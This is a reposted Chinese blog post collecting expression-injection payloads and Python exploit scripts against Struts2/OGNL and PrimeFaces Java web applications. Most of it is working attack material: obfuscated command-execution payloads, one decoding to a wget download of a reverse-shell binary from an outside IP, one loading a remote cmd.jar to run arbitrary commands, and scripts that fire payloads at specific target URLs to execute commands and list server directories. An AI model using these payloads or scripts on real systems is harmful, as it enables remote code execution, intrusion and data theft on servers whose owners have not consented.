表达式注入payload

转载 2016-10-24

转自:http://py4.me/blog/?p=23

验证:

${6196753-3562104}

若页面中包含2634649,再验证其它数字相减页面中是否包含计算的结果,若有则表明其存在表达式注入。

不同类型的Payload:
实际上在利用表达式注入这类漏洞的时候有这么几类Payload去执行命令:
1、

${\u0027\u007e\u007e\u0027+\u0027\u0032\u0027+@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(\u0027whoami\u0027).getInputStream())+\u0027\u0032\u0027+\u0027\u007e\u007e\u0027}

2、

${\u0023\u0061\u003d\u0028\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0050\u0072\u006f\u0063\u0065\u0073\u0073\u0042\u0075\u0069\u006c\u0064\u0065\u0072\u0028\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u007b\u0027\u0077\u0068\u006f\u0061\u006d\u0069\u0027\u007d\u0029\u0029\u002e\u0073\u0074\u0061\u0072\u0074\u0028\u0029\u002c\u0023\u0062\u003d\u0023\u0061\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u002c\u0023\u0063\u003d\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u0023\u0062\u0029\u002c\u0023\u0064\u003d\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u0023\u0063\u0029\u002c\u0023\u0065\u003d\u006e\u0065\u0077\u0020\u0063\u0068\u0061\u0072\u005b\u0035\u0030\u0030\u0030\u0030\u005d\u002c\u0023\u0064\u002e\u0072\u0065\u0061\u0064\u0028\u0023\u0065\u0029\u002c\u0023\u006d\u0061\u0074\u0074\u003d\u0023\u0063\u006f\u006e\u0074\u0065\u0078\u0074\u002e\u0067\u0065\u0074\u0028\u0027\u0063\u006f\u006d\u002e\u006f\u0070\u0065\u006e\u0073\u0079\u006d\u0070\u0068\u006f\u006e\u0079\u002e\u0078\u0077\u006f\u0072\u006b\u0032\u002e\u0064\u0069\u0073\u0070\u0061\u0074\u0063\u0068\u0065\u0072\u002e\u0048\u0074\u0074\u0070\u0053\u0065\u0072\u0076\u006c\u0065\u0074\u0052\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u0027\u0029\u002c\u0023\u006d\u0061\u0074\u0074\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u0027\u007e\u0027\u002b\u0027\u007e\u007e\u0032\u0027\u0029\u002c\u0023\u006d\u0061\u0074\u0074\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u0023\u0065\u0029\u002c\u0023\u006d\u0061\u0074\u0074\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u0027\u0032\u007e\u0027\u002b\u0027\u007e\u007e\u0027\u0029\u002c\u0023\u006d\u0061\u0074\u0074\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0066\u006c\u0075\u0073\u0068\u0028\u0029\u002c\u0023\u006d\u0061\u0074\u0074\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029}

上面的代码解码后是这样的:

#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println('~'+'~~2'),#matt.getWriter().println(#e),#matt.getWriter().println('2~'+'~~'),#matt.getWriter().flush(),#matt.getWriter().close()

3、

${new java.lang.ProcessBuilder(new java.lang.String[]{new java.lang.String(new byte[]{47,117,115,114,47,98,105,110,47,119,103,101,116})},new java.lang.String[]{new java.lang.String(new byte[]{104,116,116,112,58,47,47,49,48,55,46,49,56,57,46,49,53,51,46,49,53,48,47,114,101,118,46,101,108,102})}).start()}
${new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder(new java.lang.String[]{new java.lang.String(new byte[]{119, 104, 111, 97, 109, 105})}).start().getInputStream())).readLine()}

因一些环境比较特殊,会出现过滤或无法回显结果的问题。
为了解决手打命令的不方便,特地写了个python脚本:

#! /usr/bin/env python
# -*- coding: utf-8 -*-
import re
import sys
import base64
import requests
command = sys.argv[1]#命令
def getExp(command):
    arg = "new java.lang.String[]{new java.lang.String(new byte[]{%s})}"
    cmds = command.split(' ')
    cmds_lst = []
    for cmd in cmds:
        tmp_str = str(map(ord, cmd)).strip('[')
        tmp_str = tmp_str.strip(']')
        cmds_lst.append(arg % tmp_str)
    cmd_str = str(cmds_lst).replace('\'', '')
    cmd_str = cmd_str.strip('[')
    cmd_str = cmd_str.strip(']')
     
    exp = "${new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder(%s).start().getInputStream())).readLine()}" % cmd_str
    return exp
url = "https://test.wooyun.org/image/all?json=1&locationId=%s&_=1465009762062&st=cc"#存在漏洞的URL,漏洞参数为%s的位置
try:
    headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}
    exp = getExp(command)
    response = requests.get(url % exp, headers=headers, timeout=5, verify=False)
    result = re.findall(r'For input string: &quot;(.*?)&quot;</div>', response.content, re.S|re.I)
    if len(result) !=0:
        print(result[0])
    else:
        print('Null Result!')
except Exception, e:
    print(str(e))

注意后面的正则,从目标页面中匹配结果,传参为要执行的命令。
可用于Struts2命令执行的Payload:

${"~["+new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','ifconfig|base64 -w 0'}).start().getInputStream())).readLine()+"]~"}

4、列文件

${new java.io.File(new java.lang.String(new byte[]{46, 47})).listFiles()[0]}

使用python脚本去依次读取目录中的文件和目录列表:

#! /usr/bin/env python
# -*- coding: utf-8 -*-
import re
import sys
import base64
import requests
 
path = '/var/www/'#要读取的路径
path_str = str(map(ord, path)).strip('[')
path_str = path_str.strip(']')
url = "https://ccc.wooyun.com/news?newsType=sd&pageSize=${new java.io.File(new java.lang.String(new byte[]{%s})).listFiles()[%s]}&userSource=0"#漏洞URL
try:
    headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}
    for x in range(0, 400):
        response = requests.get(url % (path_str, str(x)), headers=headers, timeout=5, verify=False)
        result = re.findall(r'value&quot;:&quot;(.*?)&quot;,&quot;invalidReason', response.content, re.S|re.I)
        if len(result) !=0:
            if result[0].find("${new java.io.File") != -1:
                break
            print(result[0])
        else:
            print("Null Result!")
            break
except Exception, e:
    print(str(e))

5、Primefaces框架表达式注入:
验证(代码):

${facesContext.getExternalContext().getResponse().getWriter().println("~~~elinject~~~")}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}

加密的Payload:
Web路径:

${facesContext.getExternalContext().getResponse().getWriter().println(request.getSession().getServletContext().getRealPath(\"/\"))}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}

加密的Payload:

uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkV9XxzneUPyMM8BUxgtfxF3wYMlt0MXkqO5%2BOpbBXfBSCSkb2z5x8Cb2P%2FDS2BUn7odA0GflWHV%2B9J8uLGYIqPK9HY85O%2BJw0u5X9urorJfQZKJihsLCV%2BnqyXHs8i6uh4iIboLA2TZUiTbjc3SfybUTvPCjRdyT6rCe6MPQGqHYkBiX3K7fGPuwJ2XNONXI9N2Sup5MWcUUo87FbX3jESvOq2Bs3sDKU4bW3aCGbhUcA2ZEgSxkLcW6VKDnXV5hxvz6J4a4E6P8HCy9v8%2BdrRzmtKbwczXk%2B9n8Lm2KYS%2Fk2TJKpeKjPg0t%2BAiKzTiqak%3D

反射式调用执行命令:

${request.getSession().setAttribute("list","".getClass().forName("java.util.ArrayList").newInstance())}${request.getSession().getAttribute("list").add(request.getSession().getServletContext().getResource("/").toURI().create("http://118.184.23.145/cmd.jar").toURL())}${facesContext.getExternalContext().getResponse().getWriter().println(request.getSession().getClass().getClassLoader().getParent().newInstance(request.getSession().getAttribute("list").toArray(request.session.servletContext.getClass().getClassLoader().getParent().getURLs())).loadClass("org.javaweb.test.HelloWorld").newInstance().exec(request.getParameter("cmd")))}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}

加密的Payload调用:

http://xx.xx.xx.xx/javax.faces.resource/?pfdrt=sc&ln=primefaces&pfdrid=1acBqv16SJhfc30NLxL/NinZaDI%2BoHqk1xDbSI8qOl4%2BoXsKFyqJq3gv2IBc1S89q6G1POSSKDNlzHE/%2BnsMuZgTDALpyOstkBkFVJNc2U/B%2BoceOqnpF5YZoWtF0W7qGxsImsumut7GQoKKMQcbwwL4coE07x6Mn09hfy94tuiiy6S8S1vr8kPPYzrUC5AveiE9ls7dLDiaQripnC0Z71fB1xCjkxw8wjZt3om1PT9Wq8YAqkHuBIo/soFBvM1YDnJosELhjmfoJdAGBRfullXUfVw5xEg9ykFpLaKugkbDIBgXtv58Xu4BrT0d5MAQ8BOVwjzSodkdllYCAeUklCDWRfFtZDORdcAzXVxTRkEn%2Bnx7qAFh8NwK/sDsXz6U1Q2Q/ny1UaEMFM9qrgVmfX181HXWc4TuETxLqUohfreYLJLW%2BAxcxzciqqoKj%2Bht/KJ%2B%2BGfzuNoSs0E9i9N/AL5PALrdTRg%2BuweD3CMLZgLDITkMx4z7dmP2daw2B98nrKOLHtG6nYDcDmSfy8d8IKMZJvuq/WT7JLm0PJ3UqDyvzHHjrPCDpTFhMUmftFFvi4APBpT41slHYoRKDbJMvU/upvKyAsy5xQKJ5s6x%2B4F%2By9p8Icp1TQfMcqIPwMQkvsOs8i61m6i96dpmxpfZPWprcigaWMhJG8/iYRg7ZygegrmSbovLy5Tr3Mc9GODgdTx7v396NJ75yQyU4ETmYEhNxWTIoncK7MbyBcIWR/h1GjhCwwpquKRWLb3hal8DNJxubaKnxGa9mRNaQAZRr0s%2B3eo1jeino5O8CSQzla7ACpJc3867AAGxnWrnE/weJ20W3QKj6nIz/EAyx87aVIKs%2BQH3O4IGx%2BuiZ38TvMeg6jZpkZGiRNEUEuAoV6CWlMA%2BxM6BPvbPyWsqmdI8l%2ByFBhsoSpNhel2%2B0gxS5wWqZbRyi0rjPlOzUe8Xir9mlpuBZzrUIcbaYaE8PHQno1OZ/zaHx/GzAJakSRQ5YbKQ/W/OzkokDG3M79KSCtx2jN92PtISucY%3D&cmd=ifconfig

因为Primefaces要加密Payload后执行命令,所以专门写了个Python脚本调用从框架的抽出来的加密解密方法写的jar来完成这个过程:

#! /usr/bin/env python
# -*- coding: utf-8 -*-
import re
import os
import urllib
import requests
import subprocess
cmd = """${facesContext.getExternalContext().getResponse().getWriter().println(request.getSession().getServletContext().getRealPath("/"))}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}"""
url = "http://xx.xx.xx.xx/javax.faces.resource/?pfdrt=sc&ln=primefaces&pfdrid=%s&cmd=ifconfig"#漏洞URL
proc = subprocess.Popen(["java", "-cp", "de.jar", "test.EncodeDecode", cmd], stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE, universal_newlines=True, shell = False)   
try:
    out = proc.stdout.read()
    entext = urllib.quote(out.strip())
    response = requests.get(url % entext, timeout=5, verify=False)
    result = re.findall(r'<u>(.*?)</u></p><p><b>description', response.content, re.S|re.I)
    if len(result) != 0:
        print(result[0])
    else:
        print(response.content)
    print("\n\n%s"%entext)
except Exception, e:
    proc.kill()
    outs, errs = proc.communicate()
    print("[*] Error: %s"%str(e))

本文由 Mosuan 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

添加新评论